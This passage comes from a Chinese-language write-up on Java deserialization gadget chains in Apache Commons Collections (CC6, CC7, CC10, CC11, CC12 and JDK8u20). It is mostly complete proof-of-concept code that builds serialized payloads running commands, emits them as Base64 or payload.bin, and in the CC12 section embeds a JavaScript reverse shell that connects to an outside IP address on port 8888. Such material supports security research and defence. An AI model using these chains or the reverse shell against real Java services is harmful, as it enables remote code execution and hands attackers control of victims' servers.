import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollections6{
    public static void main(String[] args) throws Exception{
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        // 调用decorate主要是直接写入的方法是protected, 需要设置权限才行, 而该方法是public
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "ricky");
        /*jdk1.8*/
        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);
        outerMap.remove("ricky");

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field f = chainedTransformer.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, transformers);

        try{
            // serialize
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream objectoutputstream = new ObjectOutputStream(barr);
            objectoutputstream.writeObject(hashSet);
            objectoutputstream.close();
            // unserialize
            ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            objectinputstream.readObject();
            objectinputstream.close();
            System.out.println(Base64.encodeBase64String(barr.toByteArray()));
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

舍弃HashSet

因为可以直接调用HashMap.put, 可以舍弃HashSet.readObject这个多余的桥梁

触发失败问题

直接采用HashMap.put会在debug的时候遇到一个问题

// LazyMap.get此处的key值为keykey
Object value = factory.transform(key);

因为在HashMap的put⽅法中,也有调⽤到 hash(key)

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

这⾥就导致 LazyMap 这个利⽤链在这⾥被调⽤了⼀遍,因为前⾯⽤了 fakeTransformers ,所以此时并没有触发命令执⾏,但实际上也对构造Payload产⽣了影响。

解决⽅法也很简单,只需要将keykey这个Key,再从outerMap中移除即可: outerMap.remove("keykey")

POC

package CommonsCollections;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6_HashMap {
    public static void main(String[] args) throws Exception{
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        // 调用decorate主要是直接写入的方法是protected, 需要设置权限才行, 而该方法是public
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");
        /*jdk1.7~jdk1.8*/
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "valuevalue");
        outerMap.remove("keykey");

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field f = chainedTransformer.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, transformers);

        try{
            // serialize
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream objectoutputstream = new ObjectOutputStream(barr);
            objectoutputstream.writeObject(expMap);
            objectoutputstream.close();
            // unserialize
            ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            objectinputstream.readObject();
            objectinputstream.close();
            System.out.println(Base64.encodeBase64String(barr.toByteArray()));
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

🚩CC9_DefaultedMap

LazyMap因为用的太广而已被重视, 所以采取了DefaultedMap代替LazyMap, 它拥有和LazyMap同样的特性

// DefaultedMap.get
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            if (value instanceof Transformer) {
                return ((Transformer) value).transform(key);
            }
            return value;
        }
        return map.get(key);
    }

只要出现LazyMap的地方都可替换为DefaultedMap

POC

package CommonsCollections;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6_DefaultedMap {
    public static void main(String[] args) throws Exception{
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        // 调用decorate主要是直接写入的方法是protected, 需要设置权限才行, 而该方法是public
        Map outerMap = DefaultedMap.decorate(innerMap, chainedTransformer);
        /**DefaultedMap.get*/
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");
        /*jdk1.7~jdk1.8*/
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "valuevalue");
        outerMap.remove("keykey");

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field f = chainedTransformer.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, transformers);

        try{
            // serialize
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream objectoutputstream = new ObjectOutputStream(barr);
            objectoutputstream.writeObject(expMap);
            objectoutputstream.close();
            // unserialize
            ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            objectinputstream.readObject();
            objectinputstream.close();
            System.out.println(Base64.encodeBase64String(barr.toByteArray()));
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

CC7_ Hashtable

CommonsCollections7用了Hashtable来代替AnnotationInvocationHandler,不同于前面两种CommonsCollections7并未使用TiredMapEntry,而是用了相同key冲突的方式调用equals来触发Lazy.get函数

本次根据POC来进行分析, 先给出完整的POC

package CommonsCollections;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7_Hashtable {
    public static void main(String[] args) throws Exception {
        /**不能加 new ConstantTransformer(1) 会影响payload触发*/
        Transformer[] fakeTransformers = new Transformer[] {/*new ConstantTransformer(1)*/};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
        /**冲突是测试后写好的,不能乱改*/
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field f = chainedTransformer.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, transformers);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");

        // 字节调用写法
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashtable);
        oos.close();
        System.out.println(Base64.encodeBase64String(barr.toByteArray()));
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

        // 写文件写法
        FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.flush();
        objectOutputStream.close();
        FileInputStream fileInputStream = new FileInputStream("payload.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
    }
}

Hashtable的重复操作

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
/**冲突是测试后写好的,不能乱改*/
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

在这段代码中,实例化了两个HashMap,并对两个HashMap使用了LazyMaptransformerChainHashMap绑定到一起。然后分别添加到Hashtable中, 但是前面看到的都是使用一次,为什么这里需要重复2次重复的操作呢?

从Hashtable.readObject跟进

    private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the length, threshold, and loadfactor
        s.defaultReadObject();

        // set hashSeed
        UNSAFE.putIntVolatile(this, HASHSEED_OFFSET,
                sun.misc.Hashing.randomHashSeed(this));

        // Read the original length of the array and number of elements
        int origlength = s.readInt();
        int elements = s.readInt();

        // Compute new size with a bit of room 5% to grow but
        // no larger than the original size.  Make the length
        // odd if it's large enough, this helps distribute the entries.
        // Guard against the length ending up zero, that's not valid.
        int length = (int)(elements * loadFactor) + (elements / 20) + 3;
        if (length > elements && (length & 1) == 0)
            length--;
        if (origlength > 0 && length > origlength)
            length = origlength;

        Entry<K,V>[] table = new Entry[length];
        threshold = (int) Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
        count = 0;
        useAltHashing = sun.misc.VM.isBooted() &&
                (length >= Holder.ALTERNATIVE_HASHING_THRESHOLD);

        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            K key = (K)s.readObject();
            V value = (V)s.readObject();
            // synch could be eliminated for performance
            reconstitutionPut(table, key, value);
        }
        this.table = table;
    }

HashtablereconstitutionPut方法是被遍历调用的

1642080346736

第一次调用的时候,并不会走入到reconstitutionPut方法for循环里面,因为tab[index]的内容是空的,在下面会对tab[index]进行赋值。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。这也是为什么要调用两次put的原因。

1642081420940

这里的equals函数取决于key的对象,利用链用的是LazyMap对象,实际调用的是父类AbstractMapDecoratorequals函数

    public boolean equals(Object object) {
        if (object == this) {
            return true;
        }
        return map.equals(object);
    }

这里又调用了map的equals函数,这里实际调用的是HashMap的父类AbstractMapequals函数

    public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        // o赋值给m, 值为LazyMap对象
        Map<K,V> m = (Map<K,V>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                // key = "yy";value = 1;
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    // 触发LazyMap.get
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }

后续就是触发LazyMap.get

lazyMap2.remove("yy");

至于为什么需要在最后面移除该值,其实在LazyMap的get方法里面就可以看到

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        // 包含键值将无法进入if语句中
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

如果不移除该方法就会走不进该判断条件的代码块中。而后面也会再调用一次put方法。

调用的两次put其中map中key的值分别为yy和zZ

这里index的计算方式关键是hash,而hash是通过key.hashCode得来的,在java中有一个小bug:

"yy".hashCode() == "zZ".hashCode()

正是这个小bug让这里能够利用,所以这里我们需要将map中put的值设置为yy和zZ,使两次计算的index都一样,才能够进入到for循环中。

CC10_mixed with CC6 and CC7

看到 Hashtable.reconstitutionPut 中的有一处 hashCode 的调用

int hash = hash(key);
// 跟进hash
    private int hash(Object k) {
        if (useAltHashing) {
            if (k.getClass() == String.class) {
                return sun.misc.Hashing.stringHash32((String) k);
            } else {
                // 此处调用hashCode
                int h = hashSeed ^ k.hashCode();

                // This function ensures that hashCodes that differ only by
                // constant multiples at each bit position have a bounded
                // number of collisions (approximately 8 at default load factor).
                h ^= (h >>> 20) ^ (h >>> 12);
                return h ^ (h >>> 7) ^ (h >>> 4);
             }
        } else  {
            return k.hashCode();
        }
    }

如果key值被代替为TiedMapEntry对象, 这里就能触发LazyMap.get

POC

package CommonsCollections;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections10 {
    public static void main(String[] args) throws Exception{
        /**不能加 new ConstantTransformer(1) 会影响payload触发*/
        Transformer[] fakeTransformers = new Transformer[] {/*new ConstantTransformer(1)*/};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        // 调用decorate主要是直接写入的方法是protected, 需要设置权限才行, 而该方法是public
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        TiedMapEntry tiedMapEntry1 = new TiedMapEntry(outerMap, "keykey");

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put("keykey", 1);

        // 获取hashtable的table类属性
        Field tableField = Hashtable.class.getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] table = (Object[])tableField.get(hashtable);
        Object tiedMapEntry2 = table[0];
        if(tiedMapEntry2 == null)
            tiedMapEntry2 = table[1];
        // 获取Hashtable.Entry的key属性
        Field keyField = tiedMapEntry2.getClass().getDeclaredField("key");
        keyField.setAccessible(true);
        // 将key属性给替换成构造好的TiedMapEntry实例
        keyField.set(tiedMapEntry2, tiedMapEntry1);

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field f = chainedTransformer.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, transformers);

        // 字节调用写法
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashtable);
        oos.close();
        System.out.println(Base64.encodeBase64String(barr.toByteArray()));
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

        // 写文件写法
        FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.flush();
        objectOutputStream.close();
        FileInputStream fileInputStream = new FileInputStream("payload.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
    }
}

JDK8u20

参考:

官方对jdk7u21的修复

// 改之前
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; all bets are off
           return;
        }

// 改之后
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

这里增加了一步对type字段类型的检查,如果传入的类型不是AnnotationType,那么就会抛出一个异常,退出反序列化流程。然而我们在构造payload的时候,将type赋值为Templates.class,自然是过不了这个检查,所以JDK7u21也就无法在后续的Java版本上使用了

实际上在jdk7u21漏洞中,我们传入的AnnotationInvocationHandler对象在异常被抛出前,已经从序列化数据中被还原出来。换句话说就是我们把恶意的种子种到了运行对象中,但是因为出现异常导致该种子没法生长,只要我们解决了这个异常,那么就可以重新达到我们的目的

通过在JDK7u21的proxy对象(LinkedHashSet的第二个数据)中插入一个假的成员,使其为BeanContextSupport的对象,在反序列化的时候这个数据会被抛弃掉,因为实际上类的定义中并没有这么一个成员,但是该对象依然会被反序列化并且为其分配handle,那么在BeanContextSupport的反序列化过程中,就可以利用前面提到的try…catch…结构顺利的还原出AnnotationInvocationHandler对象,并且通过构造序列化数据完成整个序列化流程

// readObject
    private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

        synchronized(BeanContext.globalHierarchyLock) {
            ois.defaultReadObject();

            initialize();

            bcsPreDeserializationHook(ois);

            if (serializable > 0 && this.equals(getBeanContextPeer()))
                readChildren(ois);

            deserialize(ois, bcmListeners = new ArrayList(1));
        }
    }

// readChildren
    public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        int count = serializable;

        while (count-- > 0) {
            Object                      child = null;
            BeanContextSupport.BCSChild bscc  = null;

            try {
                child = ois.readObject();
                bscc  = (BeanContextSupport.BCSChild)ois.readObject();
            } catch (IOException ioe) {
                continue;
            } catch (ClassNotFoundException cnfe) {
                continue;
            }


            synchronized(child) {
                BeanContextChild bcc = null;

                try {
                    bcc = (BeanContextChild)child;
                } catch (ClassCastException cce) {
                    // do nothing;
                }

                if (bcc != null) {
                    try {
                        bcc.setBeanContext(getBeanContextPeer());

                       bcc.addPropertyChangeListener("beanContext", childPCL);
                       bcc.addVetoableChangeListener("beanContext", childVCL);

                    } catch (PropertyVetoException pve) {
                        continue;
                    }
                }

                childDeserializedHook(child, bscc);
            }
        }
    }

在构造上需要对其序列化生成的二进制文件进行分析, 比较复杂, 参考师傅们的payload: https://github.com/pwntester/JRE8u20_RCE_Gadget

CC11_mixed with CC2 and CC6

CommonsCollections11主要是通过InvokerTransformer去调用TemplatesInmpl的newTransformer

POC

package CommonsCollections;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections11 {
    public static void main(String[] args) throws Exception{
        // ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
        ClassPool classPool = ClassPool.getDefault();
        // 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        // 使用容器新建一个CtClass,相当于新建一个class,类名为Evil
        CtClass ctClass = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"%s\");";
        cmd = String.format(cmd, "calc.exe");
        // 给这个类创建 static 代码块,并插入到类中
        ctClass.makeClassInitializer().insertBefore(cmd);
        String className = "Evil" + System.nanoTime();
        // 重新设置类名为一个随机的名字
        ctClass.setName(className);
        // 给这个类添加一个父类,即继承该父类。
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet,避免报错
        // 将这个类输出到项目目录下
//        ctClass.writeFile("./");
        // 将这个class转换为字节数组
        byte[] classBytes = ctClass.toBytecode();
        // 将字节数组放置到一个二维数组的第一个元素
        byte[][] targetByteCodes = new byte[][]{classBytes};
        // 实例化TemplatesImpl对象
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        // 通过反射设置字段的值为二维字节数组
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
//        Map outerMap = LazyMap.decorate(innerMap, transformer);
        Map outerMap = DefaultedMap.decorate(innerMap, transformer);

        TiedMapEntry tiedmapentry = new TiedMapEntry(outerMap, templates);
        Map expMap = new HashMap();
        expMap.put(tiedmapentry, "valuevalue");

        // 清除键值
        outerMap.clear();
        // 通过反射覆盖原本的iMethodName,防止序列化时在本地触发恶意方法
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // 字节调用写法
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        System.out.println(Base64.encodeBase64String(barr.toByteArray()));
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

        // 写文件写法
        FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(expMap);
        objectOutputStream.flush();
        objectOutputStream.close();
        FileInputStream fileInputStream = new FileInputStream("payload.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

CC12_Update by CC6

参考:

javax.script.ScriptEngineManager 引擎调用

JDK内置的JS引擎

科普一下javax.script.ScriptEngineManager.这个类在jdk中可以用以执行一些脚本语言,例如比较流行的有JavaScript、Scala、JRuby、Jython和Groovy等.而JavaSE6中自带了JavaScript语言的脚本引擎,基于Mozilla的Rhino实现,可以通过三种方式查找脚本引擎:

  • 1.通过脚本名称获取:

    ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
    
  • 2.通过MIME类型来获取:

    ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
    
  • 3.通过MIME类型来获取:

    ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");
    

例如我们要和js混编打印一个HelloWord:

ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("JavaScript");
engine.eval("println('Hello Word');");

当然反射的写法如下:

Class clazz = Class.forName("javax.script.ScriptEngineManager");
Object manager = clazz.getDeclaredConstructor().newInstance();
Method getEngineByName = clazz.getDeclaredMethod("getEngineByName", String.class);
Object scriptEngine = getEngineByName.invoke(manager,"JavaScript");
Method eval = scriptEngine.getClass().getMethod("eval",String.class);
eval.invoke(scriptEngine,"println('Hello Word');");

注意: 由于是和js混编,所以要充分注意js的一些语法和Java语法的区别

  • 1.变量命名 js是弱类型的语言,所有变量使用var即可,且不需要声明类型也不支持类型转换. 例如 String a 和 int b需要写为var a 和 var b.

  • 2.异常捕捉

    异常不用声明类型

    例如

    try{
      var a;
    }catch (e){
    }
    

POC

package CommonsCollections;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.script.ScriptEngineManager;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollections12 {

//    private static String jscmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
    // DNS测试
//    private static String u = "http://95s6my.dnslog.cn";
//    private static String jscmd = String.format("new java.util.HashMap().put(new java.net.URL(\"%s\"), \"2\");", u);
    // 延时测试
//    private static String time = "3000";
//    private static String jscmd = String.format("java.lang.Thread.sleep(%s);", time);;
    // java.net.Socket 反弹shell
    private static String host = "81.70.101.91";
    private static int port = 8888;
    private static String jscmd = String.format("var host = \"%s\";\n" +
    "var port = %d;\n" +
    "var p;\n" +
    "var os = java.lang.System.getProperty(\"os.name\").toLowerCase(java.util.Locale.ENGLISH);\n" +
    "if(os.contains(\"win\")){\n" +
    "    p = new java.lang.ProcessBuilder(\"cmd\").redirectErrorStream(true).start();\n" +
    "        }else{\n" +
    "    p = new java.lang.ProcessBuilder(\"sh\").redirectErrorStream(true).start();\n" +
    "        }\n" +
    "var s = new java.net.Socket(host,port);\n" +
    "var pi = p.getInputStream(),pe = p.getErrorStream(),si = s.getInputStream();\n" +
    "var po = p.getOutputStream(),so = s.getOutputStream();\n" +
    "while(!s.isClosed()) {\n" +
    "while(pi.available()>0) {\n" +
    "so.write(pi.read());\n" +
    "}\n" +
    "while(pe.available()>0) {\n" +
    "so.write(pe.read());\n" +
    "}\n" +
    "while(si.available()>0) {\n" +
    "po.write(si.read());\n" +
    "}\n" +
    "so.flush();\n" +
    "po.flush();\n" +
    "java.lang.Thread.sleep(50);\n" +
    "try {\n" +
    "p.exitValue();\n" +
    "break;\n" +
    "}\n" +
    "catch (e){\n" +
    "}\n" +
    "};\n" +
    "p.destroy();\n" +
    "s.close();", host, port);

    public static void main(String[] args) throws Exception{
        String[] execArgs = new String[]{jscmd};
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class),
            new InvokerTransformer("newInstance", new Class[0], new Object[0]),
            new InvokerTransformer("getEngineByName", new Class[]{String.class},
                new Object[]{"JavaScript"}), new InvokerTransformer("eval",
            new Class[]{String.class}, execArgs), new ConstantTransformer(1)};
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        // 调用decorate主要是直接写入的方法是protected, 需要设置权限才行, 而该方法是public
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "ricky");
        /*jdk1.8*/
        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);
        outerMap.remove("ricky");

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field f = chainedTransformer.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, transformers);

        try{
            // serialize
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream objectoutputstream = new ObjectOutputStream(barr);
            objectoutputstream.writeObject(hashSet);
            objectoutputstream.close();
            // unserialize
            ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            objectinputstream.readObject();
            objectinputstream.close();
            System.out.println(Base64.encodeBase64String(barr.toByteArray()));
        }catch(Exception e){
            e.printStackTrace();
